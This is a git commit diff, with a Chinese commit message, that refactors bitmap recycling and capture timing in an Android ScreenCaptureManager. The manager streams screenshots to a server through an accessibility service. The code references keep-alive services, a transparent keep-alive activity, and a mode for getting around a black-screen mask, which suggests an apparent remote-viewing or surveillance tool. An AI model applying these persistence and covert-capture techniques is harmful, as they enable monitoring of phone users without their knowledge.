refactor: 清理 .gradle 缓存文件并优化 ScreenCaptureManager
- 删除 .gradle 缓存和锁文件(checksums, executionHistory, fileHashes 等) - 优化 ScreenCaptureManager 截屏逻辑 - 移除 MainActivity, TransparentKeepAliveActivity 中的冗余代码 - 清理多个 KeepAlive 相关服务中的无用导入 - 精简 InstallationStateManager 代码
This commit is contained in:
@@ -29,7 +29,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
private const val CAPTURE_QUALITY = 55 // 🎯 优化:提升压缩质量,在数据量和画质间找到最佳平衡(30->55)
|
||||
private const val MAX_WIDTH = 480 // 更小宽度480px,测试单消息大小理论
|
||||
private const val MAX_HEIGHT = 854 // 更小高度854px,保持16:9比例
|
||||
private const val MIN_CAPTURE_INTERVAL = 66L // ✅ 调整为66ms,适配15FPS(1000ms/15fps≈66ms)
|
||||
private const val MIN_CAPTURE_INTERVAL = 3000L // ✅ 调整为3000ms,无障碍服务截图间隔3秒
|
||||
|
||||
// ✅ 持久化暂停状态相关常量
|
||||
private const val PAUSE_STATE_PREF = "screen_capture_pause_state"
|
||||
@@ -135,6 +135,41 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
Log.i(TAG, "屏幕尺寸: ${screenWidth}x${screenHeight}")
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 安全回收lastValidBitmap,防止多线程并发导致的native crash (SIGSEGV)
|
||||
*
|
||||
* 问题根因:多个协程(startMediaProjectionCapture、startAccessibilityScreenCapture、
|
||||
* captureWithMediaProjection等)并发访问lastValidBitmap,可能导致:
|
||||
* 1. double-recycle:Bitmap已被其他线程recycle但引用未置null
|
||||
* 2. Hardware Bitmap的底层HardwareBuffer已被释放
|
||||
* 两种情况都会在native层BitmapWrapper::freePixels()触发SIGSEGV
|
||||
*/
|
||||
private fun safeRecycleLastValidBitmap() {
|
||||
val bitmapToRecycle = lastValidBitmap
|
||||
lastValidBitmap = null // 先置null,防止其他线程访问
|
||||
try {
|
||||
if (bitmapToRecycle != null && !bitmapToRecycle.isRecycled) {
|
||||
bitmapToRecycle.recycle()
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
// 捕获所有异常,包括可能的native异常包装
|
||||
Log.w(TAG, "回收缓存Bitmap异常(可能已被其他线程回收): ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 安全回收任意Bitmap,防止native crash
|
||||
*/
|
||||
private fun safeRecycleBitmap(bitmap: Bitmap?) {
|
||||
try {
|
||||
if (bitmap != null && !bitmap.isRecycled) {
|
||||
bitmap.recycle()
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "回收Bitmap异常: ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔑 启用AccessibilityService截图模式
|
||||
* 用于绕过黑屏遮罩,让Web端能够正常显示画面
|
||||
@@ -378,7 +413,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
// ✅ 有效帧:发送并更新缓存
|
||||
sendFrameToServer(jpegData)
|
||||
|
||||
lastValidBitmap?.recycle()
|
||||
safeRecycleLastValidBitmap()
|
||||
lastValidBitmap = bitmap.copy(Bitmap.Config.ARGB_8888, false)
|
||||
lastValidBitmap?.let { trackBitmap(it) }
|
||||
lastCaptureTime = System.currentTimeMillis()
|
||||
@@ -535,7 +570,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
// 🔑 缓存成功的截图,用于防止闪烁
|
||||
try {
|
||||
// 清理旧的缓存
|
||||
lastValidBitmap?.recycle()
|
||||
safeRecycleLastValidBitmap()
|
||||
// 保存当前成功的截图副本
|
||||
lastValidBitmap = screenshot.copy(screenshot.config ?: Bitmap.Config.ARGB_8888, false)
|
||||
lastCaptureTime = System.currentTimeMillis()
|
||||
@@ -559,7 +594,9 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
// ❌ 真实截图失败,不发送任何数据,等待下一次截图
|
||||
// 之前发送测试图像会被服务端过滤且占用发送队列,得不偿失
|
||||
consecutiveFailures++
|
||||
Log.d(TAG, "📱 无障碍截图失败(${consecutiveFailures}次),跳过本帧等待下次")
|
||||
if (consecutiveFailures % 50 == 1) {
|
||||
Log.d(TAG, "📱 无障碍截图失败(${consecutiveFailures}次),跳过本帧等待下次")
|
||||
}
|
||||
}
|
||||
|
||||
// ✅ 截图成功时按帧率延迟,失败时短延迟后立即重试
|
||||
@@ -652,7 +689,6 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
// 🔑 如果已切换到无障碍截图模式,直接使用无障碍截图,不再尝试 MediaProjection
|
||||
if (useAccessibilityScreenshot) {
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
|
||||
Log.d(TAG, "🔑 无障碍截图模式,直接使用 AccessibilityService 截图")
|
||||
return captureWithAccessibilityService()
|
||||
}
|
||||
return null
|
||||
@@ -685,7 +721,6 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
val timeSinceLastScreenshot = currentTime - lastScreenshotTime
|
||||
|
||||
if (timeSinceLastScreenshot < MIN_CAPTURE_INTERVAL) {
|
||||
Log.d(TAG, "📱 截图间隔太短,跳过本次截图: ${timeSinceLastScreenshot}ms < ${MIN_CAPTURE_INTERVAL}ms")
|
||||
return null
|
||||
}
|
||||
|
||||
@@ -924,7 +959,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
}
|
||||
|
||||
// 更新缓存
|
||||
lastValidBitmap?.recycle()
|
||||
safeRecycleLastValidBitmap()
|
||||
lastValidBitmap = newBitmap.copy(Bitmap.Config.ARGB_8888, false)
|
||||
// 🔧 跟踪缓存的Bitmap副本
|
||||
lastValidBitmap?.let { trackBitmap(it) }
|
||||
@@ -962,8 +997,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
return lastValidBitmap!!.copy(Bitmap.Config.ARGB_8888, false)
|
||||
} else {
|
||||
Log.w(TAG, "缓存图像过期 (${timeSinceLastCapture}ms前),清理缓存")
|
||||
lastValidBitmap?.recycle()
|
||||
lastValidBitmap = null
|
||||
safeRecycleLastValidBitmap()
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1002,7 +1036,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
val retryBitmap = convertImageToBitmap(retryImage)
|
||||
if (retryBitmap != null) {
|
||||
Log.i(TAG, "✅ Android 15重新初始化后成功获取图像")
|
||||
lastValidBitmap?.recycle()
|
||||
safeRecycleLastValidBitmap()
|
||||
lastValidBitmap = retryBitmap.copy(Bitmap.Config.ARGB_8888, false)
|
||||
lastCaptureTime = System.currentTimeMillis()
|
||||
return retryBitmap
|
||||
@@ -1775,8 +1809,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
Log.w(TAG, "🗑️ 清空屏幕数据队列,释放${queueSize}帧数据")
|
||||
|
||||
// 2. 清理缓存的图像
|
||||
lastValidBitmap?.recycle()
|
||||
lastValidBitmap = null
|
||||
safeRecycleLastValidBitmap()
|
||||
Log.w(TAG, "🗑️ 清理缓存图像")
|
||||
|
||||
// 3. 强制回收弱引用中的资源
|
||||
@@ -2147,9 +2180,8 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
imageReader?.close()
|
||||
imageReader = null
|
||||
|
||||
// 清理缓存的图像
|
||||
lastValidBitmap?.recycle()
|
||||
lastValidBitmap = null
|
||||
// ✅ 安全清理缓存的Bitmap,防止多线程并发导致native crash (SIGSEGV)
|
||||
safeRecycleLastValidBitmap()
|
||||
lastCaptureTime = 0L
|
||||
|
||||
Log.i(TAG, "VirtualDisplay和ImageReader已清理,MediaProjection权限保留")
|
||||
@@ -2445,7 +2477,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
Log.i(TAG, "✅ Android 15强制刷新成功:${bitmap.width}x${bitmap.height}")
|
||||
|
||||
// 更新缓存
|
||||
lastValidBitmap?.recycle()
|
||||
safeRecycleLastValidBitmap()
|
||||
lastValidBitmap = bitmap.copy(Bitmap.Config.ARGB_8888, false)
|
||||
lastCaptureTime = System.currentTimeMillis()
|
||||
|
||||
|
||||
Reference in New Issue
Block a user